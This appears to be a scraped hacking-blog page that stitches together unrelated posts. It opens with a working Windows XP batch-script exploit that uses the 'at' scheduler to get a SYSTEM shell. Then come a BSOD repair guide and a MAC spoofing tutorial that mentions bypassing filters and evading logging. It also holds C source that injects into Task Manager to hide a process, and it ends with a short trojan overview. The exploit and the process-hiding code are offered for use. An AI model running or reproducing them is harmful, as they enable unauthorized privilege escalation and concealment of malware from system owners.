Microsoft WinXP sp2/sp3 local system privilege escalation exploit

# Platform: Windows XP SP2/SP3
# Type: local

# Description:
#
# Copy the batch code in newfile with format .cmd or .bat and
# then start it, wait few seconds and press any key!
# This exploit kill explorer then use “at” for execute
# explorer.exe, cmd.exe and change your profile with System user privilege.

# Use whoami.exe for checking of your user privileges.
# Download:
#

http://www.microsoft.com/downloads/en/details.aspx?FamilyID=3E89879D-6C0B-4F92-96C4-1016C187D429

#
# !! USE AT YOUR 0WN RISK !!
# !! ONLY FOR EDUCATIONAL PURPOSE !!
#
# [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
#
# Added a new job with job ID = 1
# Added a new job with job ID = 2
# Added a new job with job ID = 3
# Added a new job with job ID = 4
# Added a new job with job ID = 5
# Added a new job with job ID = 6
# Added a new job with job ID = 7
# Added a new job with job ID = 8
# Added a new job with job ID = 9
# Added a new job with job ID = 10
# Added a new job with job ID = 11
# Added a new job with job ID = 12
# [*] Backup time
# The current time is: 13:36:57,67
# Enter the new time: 13:44
#
# C:\WINDOWS\system32>whoami
# NT AUTHORITY\SYSTEM
#
############## CUT HERE ###########################

@echo off
echo [+] Microsoft WinXP sp2/sp3 local system privilege escalation exploit
start time /T > time.txt
tskill explorer
time 13:36:59 > nul
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y
cls
at 13:37 /interactive cmd.exe
at 13:37 /interactive explorer.exe
at 13:37 /interactive at /del /y

echo [*] Backup time
time < time.txt

############## CUT HERE ###########################

// source inj3ct0r

Fix BSoD : Blue Screen of Death

Blue Screen of Death is a very common error that occurs in all the versions of the Windows OS, be it Win XP, or Win Vista or Windows 7. A lot of major as well as minor hardware and software related issues can lead to Blue Screen of Death (BSOD). Sometimes you can resolve the issue by simply solving it by restarting your PC. However, many times the BSOD screen won’t allow you to reach the desktop or even if you have reached the desktop, the BSOD screen can appear all of a sudden while you are doing something important on your PC.

 

BSODs appear when Windows encounters a serious problem and stalls the operating system. You can easily fix BSOD issues by examining all the factors that has triggered it. Here are some things you should do when you encounter a BSOD:

1. Some BSODs are so bad that you may end up installing fresh copy of Windows on your system. If you are not able to access your data after the occurrence of BSOD, you may also end up losing all your precious data. So, you need try your best to reach the desktop. You can try the ‘Last Known Good Configuration’ option or by going into the Safe Mode. You can try both of these options by pressing the F8 key before the appearance of the Windows loading screen. If you do it correctly, you will see the ‘Windows Advanced Options Menu’ screen where you will see options like Safe Mode, Safe Mode with Networking and Last Known Good Configuration.

2. When you see the BSOD, you should read the message that appears on it carefully. Usually, the error screen contains a ‘STOP ERROR’ code that consists of numbers and alphabets. The code varies depending on the problems that have caused the respective BSOD error. So, the first thing you need to do is make a note of the error code.

3. If your system is displaying the BSOD screen after recent installation of hardware or software, you can try uninstalling the hardware or software and see if that resolves the issue. After uninstalling the software that caused the problem, you can perform virus scan on your system. Repairing registry errors by making use of registry applications can help in getting rid of BSODs that are caused by software. Alternatively, you can also try the System Restore option to go back to a date when your system was working perfectly fine.

 

4. The next thing you need to is to find out what has caused the BSOD by researching on the internet. You can do this on your secondary PC. All you need to do is type the STOP ERROR code on Google and find out what solutions are available. A very good way to find solution for all kinds of BSOD errors is to visit the Microsoft Support website. At Microsoft Support, you will get all the possible solutions that you can try to get rid of the BSOD screen.

MAC Spoofing

 

 

 

MAC address (Media Access Control address) is a quasi-unique identifier consists of a six byte number that attached to most network adapter card or network interface card (NIC). As such, all network cards, whether it’s of Ethernet NIC, Gigabit Ethernet NIC or wireless 802.11a/b/g/n WiFi or HiperLAN adapter, should have different MAC addresses, which also known as Ethernet Hardware Address (EHA) or adapter address.
In operating system, MAC address is often represented in 12-digit hexadecimal number. For example, 1A-2B-3C-4D-5E-6F. In practical usage, layer 2 MAC address is converted from layer 3 protocol addresses such as Internet Protocol (IP address) by ARP (Address Resolution Protocol), which then allowed each host to be uniquely identified and frames to be marked for specific hosts on broadcast networks, such as Ethernet. After translated (or when a host on LAN sends its MAC address to another machine which does n ot configured not to accept unrequested ARP replies on the network for preemptive caching), MAC address is cached on source PC ARP table for later use. Content of ARP table on each computer can be viewed by typing arp -a in Windows or arp in Linux. MAC address thus forms the basis of most of the layer 2 networking upon which higher OSI Layer protocols are built to produce complex, functioning networks.
There are many reasons or possibilities that an user may want to change the MAC address or a network adapter, which also known as MAC spoofing. For example, to bypass the MAC address filtering on firewall or router. The trick can be used to get pass the network access restriction by emulating a new unrestricted MAC address, or to gain access connection by spoof an authorized MAC address after sniffing the legitimate MAC address out of the air in MAC filtering Wi-Fi network.
Beside, hackers or enthusiasts also spoofing another host’s MAC address as their own in order to receive traffic packets not meant for them, although ARP poisoning technique is more commonly used. However, changing MAC address can still keep the real information from been detected and logged by various services such as IDS, firewall, DHCP server, wireless access points and etc, and is essential protect user’s privacy. MAC spoofing also potentially trigger a Denial of Service (DoS) attack by causing routing problem with duplicating MAC address exists in the network, especially those similar with gateway and AP router’s BSSID (Basic Service Set Identifier.)
Whatever the reason, it’s pretty easy to change the MAC address or perform MAC spoofing on most of today’s hardware, listed below. Actually, the original MAC address is burnt and imprinted to the network card, and cannot be changed. However, operating system can spoof as if there is different MAC address for the network interface card using tricks below.
Change the MAC address in Windows
1. Go to Start -> Control Panel. Double click on Network Connections (inside Network and Internet Connections category in Windows XP). The, right click on the active network connection with network adapter that you want to change the MAC address (normally Local Area Network or Wireless Network Connection) and click on Properties.
Above steps work in Windows XP, Windows 2000 and Windows Server 2003. For Windows Vista, access to NIC’s properties is from Control Panel -> Network and Internet -> Network and Sharing Center -> Manage Network Connections.
Alternatively, if you already know which network adapter that’s responsible for your network or Internet connection, go to Device Manager and open the properties dialog by double click on the NIC itself.
2. In the General tab, click on the Configure button.
3. Click on Advanced tab.
4. In the Property section, select and highlight Network Address or Locally Administered Address.
5. To the right, “Not Present” radio button is by default selected as value. Change the value by clicking on radio button for Value:, and then type in a new MAC address to assign to the NIC.
Change MAC Address of Network Adapter
The MAC address consists of 6 pairs of numbers (0 – 9) and characters (A – F) combination. For example, 88-17-E8-90-E2-0A. When entering the new MAC value, omit the dash (-), for example 8817E890E20A.
6. Click OK when done.
7. To verify the change of MAC address, go to command prompt, then type in one of the following commands:
ipconfig /all
net config rdr
8. Reboot the computer if successful to make the change effective.
Note: To restore or reset back to original default MAC address, simply set back the option to “Not Present”.
Change the MAC Address of NIC in Windows via Registry
1. Open a command prompt.
2. Type the following command and hit Enter.
ipconfig /all
3. Record down the Description and the Physical Address (is MAC address) of the active network connection (discard those with Media Disconnected state).
Get MAC Address for Network Card
For example, in figure above, Description is Intel® Wireless WiFi Link 4965AGN and MAC address is in the format of 00-XX-XX-XX-XX-XX.
4. In the command prompt also, type the following command and hit Enter.
net config rdr
5. Record down the GUID for the MAC address for the active connection’s NIC which MAC address to be changed. The GUID is contained within the { and } brackets right in front of the MAC address as shown in figure below.
GUID for the NIC
6. Type regedt32 or regedit in Start -> Run box or in Start Search for Windows Vista. Note: for Windows NT 4.0 and Windows 2000, regedt32 must be used.
7. Navigate to the following registry key:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Class\{4D36E972-E325-11CE-BFC1-08002BE10318}
8. Expand the {4D36E972-E325-11CE-BFC1-08002BE10318} tree, and there will be more sub-keys in the form of 0000, 0001, 0002 and so on.
9. Go through each sub-key starting from 0000, look for subkey that has DriverDesc value data that matches NIC description copied from step above, that want its MAC address to be changed. In most cases, it will be similar to the network adapter card name.
To verify that the subkey found is indeed a correct one, check the value of the NetCfgInstanceId, which should have the same value with the NIC’s GUID taken from step above.
10. Once a sub-key is matched to the network interface card that MAC address want to be spoofed, select and highlight the subkey. Right click on the sub-key (for example, 0000), then select New -> String Value. Name the new value name as NetworkAddress.
Note: If NetworkAddress REG_SZ registry key is already existed in the right pane, skip this step.
11. The double click on NetworkAddress and enter a new MAC address as its value data.
Change and Spoof MAC Address in Registry
Note that the 12-digit MAC address in hexadecimal format, and should be entered without any dash (-). For example, 1A2B3C4D5E6F.
12. Reboot the system to make the new MAC address effective. Alternatively, if you don’t want to restart the system, try to disable and then re-enable the network adapter in Device Manager.
13. To verify the change of MAC address, go to command prompt, then type in one of the following commands:
ipconfig /all
net config rdr
Note: To restore or reset back to true original hardware burned-in MAC address, remove the NetworkAddress registry key that is been added.
Alternative: Third party tools and utilities to change the MAC address in Windows operating system are plenty, for example: SMAC (direct download link to smac20_setup.ex, supports Windows Vista, XP, 2003, 2000), Macshift (direct download link to macshift.zip, for Windows XP), BMAC (almost identical SMAC MAC changer clone by moorer-software.com), Mac MakeUp (direct download link to macmakeup.zip, for Windows 2000/XP/2003/Vista), MadMACs (MAC Address Spoofing And Host Name Randomizing App For Windows, directly download MadMACs.zip), EtherChange (direct download link to etherchange.exe), and Technitium MAC Address Changer (for Windows 2000 / XP / Server 2003 / Vista / Server 2008).
How to Change MAC Address (MAC Spoofing) in Linux and *nix
To change your MAC address in Linux and most Unix-like (*nix) system, run the following script commands:
ifconfig <interface> down
ifconfig <interface> hw <class> <MAC address>
ifconfig <interface> up
For example, the command looks lik “ifconfig eth0 down hw ether 1A:2B:3C:4D:5E:6F”. First command brings down the network interface, second command change its MAC address while third command bring up the interface again. Note that in some cases, to bring down and bring up the network interface, the following commands have to be used:
/etc/init.d/networking stop or /etc/init.d/network stop (in the case of Fedora Core 5)
/etc/init.d/networking start or /etc/init.d/network stop (in the case of Fedora Core 5)
Alternatively, for Fedora Code 5 Linux with Iproute2 tools installed, the following commands also can change the MAC address to spoofed version:
/etc/init.d/network stop
ip link set <interface> address 1A:2B:3C:4D:5E:6F
/etc/init.d/network start
For example, “ip link set eth0 address 1A:2B:3C:4D:5E:6F”. To check whether the MAC address has been spoofed, use ip link ls eth0 or ip addr ls eth0 instead of using ifconfig eth0.
How to Make the Spoofed MAC Address Permanently Even After Reboot in Linux
Edit the ifcfg-eth0 file (or other similar file if you’re changing different interface), add the following variable line to the file:
MACADDR=12:34:56:78:90:ab
Then run service network restart to make the change effective immediately.
How to Make the Spoofed MAC Address Permanently on Restart in Debian
Edit the /etc/network/interfaces file and add in the following variable line to the appropriate section so that the MAC address is set when the network device is started.
hwaddress <interface> 02:01:02:03:04:08
For example, “hwaddress ether 02:01:02:03:04:08″.
Alternative: GNU Mac Changer (for Debian, Slackware, ArchLinux, Mandrake, Crux and other RPM-based distributions such as Fedora, Red Hat, CentOS, ASPLinux, SUSE Linux, OpenSUSE and etc.
How to Change MAC Address (MAC Spoofing) in BSD or FreeBSD
Issue the following commands in shell:
ifconfig <interface> down
ifconfig <interface> <class> <MAC address>
ifconfig <interface> up
First command brings down the network interface (optional), second command change its MAC address while third command bring up the interface again (optional). For example, the command looks lik “ifconfig xl0 link 1A:2B:3C:4D:5E:6F” or “ifconfig fxp0 ether 1A:2B:3C:4D:5E:6F”
How to Change MAC address in Solaris
The shell command to change the MAC address in Sun Solaris is as below:
ifconfig <interface> <class> <address>
For example, the command looks like “ifconfig hme0 ether 1A:2B:3C:4D:5E:6F”. Note that the change is temporary that does not persist after a reboot. To make this change permanent, the command can be placed in a runtime control script (/sbin/sh).
How to Spoof MAC Address in HP-UX
It’s possible to change MAC address using HP-UX SAM. Select Networking and Communications, then selecting the interface, then click on Action -> Modify -> Advanced Options. Finally, change the value of station address, which is MAC address name in HP-UX.
How to Spoof and Change MAC Address in OpenBSD
Use the following command to change MAC Address to spoofed MAC in OpenBSD (after version 3.8):
ifconfig <interface> lladdr <MAC address>
For example, “ifconfig bge3 lladdr 1A:2B:3C:4D:5E:6F”.
How to Change to Spoofed MAC Address Permanently in OpenBSD
To make the MAC address changed at boot before network connection is established, and even before parsing of hostname.* file, edit the /etc/netstart file to add in the following lines before the line of “# Now parse the hostname.* file”:
if [ "$if" = "INTERFACE" ]; then
ifconfig <interface> lladdr <MAC address in format of 00:00:00:00:00:00>
fi
# Now parse the hostname.* file
….
How to Change MAC Address in Mac OS X
Since Mac OS X 10.4.x (Darwin 8.x) onwards, the MAC address of wired Ethernet interface can be altered in Apple Mac OS X in a fashion similar to the Linux and FreeBSD methods. To do so, type the following command in Terminal.app:
sudo ifconfig en0 ether aa:bb:cc:dd:ee:ff
or
sudo ifconfig en0 lladdr aa:bb:cc:dd:ee:ff (for Mac OS X 10.5 Leopard)
where en0 is the network interface (numbered from en0, en1, en2 …) and aa:bb:cc:dd:ee:ff is the desired MAC address in hex notation.
Alternative: MacDaddy (download MacDaddyX.dmg, support Airport wireless adapter)

Hide Exe From Task Manager

Hey! What I Got Is A Advance source Code That Basically hides your exe from taskmanager!

you might be thinking wats the use of it?

hmm! apply some brain and you will get it….!lolx

I’ve test it on XP and it works. On win7 it works fine , just compile as a x64 project with visual studio 2008.


#include
#include
#include
BOOL CALLBACK EnumChildProcedure(HWND hWnd,LPARAM lParam){
char name[256];
GetWindowText(hWnd,name,256);

char ClassName[256];
GetClassName(hWnd,ClassName,256);

LVFINDINFO info;
memset(&info,0,sizeof(LVFINDINFO));
DWORD nIndex;
int Id;
char temp[]="taskmgr.exe"; //this name can be changed to the name of the desired program to be hidden
//i chose taskmgr.exe for this example because everybody will have that program in common if they are testing my program and checking task manager
info.flags = LVFI_STRING |LVFI_PARTIAL;

if((strcmp(ClassName,"SysListView32")==0)&&(strcmp(name,"Processes")==0))
{
GetWindowThreadProcessId(hWnd,(LPDWORD)&nIndex);
HANDLE Process=OpenProcess(PROCESS_ALL_ACCESS,FALSE, nIndex);
if(0<Process)
{
void *Address=VirtualAllocEx(Process,NULL,sizeof(info),MEM_RESERVE|MEM_COMMIT,PAGE_RE​ADWRITE);
void *Addressx=VirtualAllocEx(Process,NULL,sizeof(temp),MEM_RESERVE|MEM_COMMIT,PAGE_R​EADWRITE);
WriteProcessMemory(Process,Addressx,&temp,sizeof(temp),0);
info.psz=(char*)Addressx;
WriteProcessMemory(Process,Address,&info,sizeof(info),0);
Id=SendMessage(hWnd,LVM_FINDITEM,-1,(LPARAM) Address);
if(Id!=-1)
SendMessage(hWnd,LVM_DELETEITEM,Id,0);
}
}
if(name==NULL)
return FALSE;
return TRUE;
}

void Vigil()
{
HWND hWnd = NULL;

hWnd = ::FindWindow(NULL,"Windows Task Manager");
if(!hWnd)
{
return;
}

EnumChildWindows(hWnd,EnumChildProcedure,NULL);
}

int main()
{
while(1)
{
Vigil();
Sleep(10);
}

return 0;
}

NOTE PLEASE REMOVE STARS (*) FROM HEADER FILES!!

Trojans and Backdoors

A Trojan horse is an unauthorized program contained within a legitimate program. This unauthorized program performs functions unknown (and probably unwanted) by the user.

* It is a legitimate program that has been altered by the placement of unauthorized code within it; this code performs functions unknown (and probably unwanted) by the user.
* Any program that appears to perform a desirable and necessary function but that (because of unauthorized code within it that is unknown to the user) performs functions unknown (and definitely unwanted) by the user.

Working of Trojans

* Attacker gets access to the trojaned system as the system goes online.
* By way of the access provided by the trojan attacker can stage attacks of different types.

Various Trojan Types

* Remote Access Trojans
* Password Sending Trojans
* Keyloggers
* Destructive
* Denial Of Service (DoS) Attack Trojans
* Proxy/Wingate Trojans
* FTP Trojans
* Software Detection Killers

Modes of Transmission

* Attachments
* Physical Access
* Browser And E-mail Software Bugs
* NetBIOS (File Sharing)
* Fake Programs
* Un-trusted Sites And Freeware Software

Backdoor Countermeasures

* Most commercial ant-virus products can automatically scan and detect backdoor programs before they can cause damage (Eg. before accessing a floppy, running exe or downloading mail).
* An inexpensive tool called Cleaner can identify and eradicate 1000 types of backdoor programs and trojans.
* Educate your users not to install applications downloaded from the internet and e-mail attachments.